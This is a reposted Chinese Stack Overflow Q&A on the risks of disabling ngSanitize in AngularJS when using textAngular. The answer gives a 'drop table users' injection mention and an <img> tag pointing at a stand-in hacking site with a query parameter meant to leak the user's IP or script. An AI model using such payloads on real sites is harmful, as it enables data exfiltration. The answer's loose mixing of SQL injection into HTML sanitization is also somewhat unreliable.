gpt4 book ai didi

javascript - 禁用 ngSanitize 有哪些风险?

转载 作者:行者123 更新时间:2023-12-03 08:21:06 25 4
gpt4 key购买 nike

允许用户生成未经净化的 html 会有什么风险?我正在使用 text-Angular 并想使用:

 ta-unsafe-sanitizer="true"

https://github.com/fraywing/textAngular/issues/233

现在 - 我想 99.9% 阅读本文的人不知道 text-Angular 是什么,所以我主要对允许原始 html 的总体后果感兴趣。

最佳答案

假设您有一个带有输入的表单元素,并且用户向输入插入类似drop table users 的内容。如果您的服务器代码或某些服务较弱,您不知道其安全级别是什么,则可能会丢失数据。现在,这是一个例子。类似的做坏事的方法有很多。

另一个例子是向图像src插入一些带有查询参数的url,例如

<img 
src='http://somehackingsite.com/images/lol.png?userIp="some scriptor other hacking style"' />

AngularJs提供了一种通过ngSanitize来解决的方法

Sanitizes an html string by stripping all potentially dangerous tokens.

The input is sanitized by parsing the HTML into tokens. All safe tokens (from a whitelist) are then serialized back to properly escaped html string. This means that no unsafe input can make it into the returned string.

The whitelist for URL sanitization of attribute values is configured using the functions aHrefSanitizationWhitelist and imgSrcSanitizationWhitelist of $compileProvider.

关于javascript - 禁用 ngSanitize 有哪些风险?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33746122/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com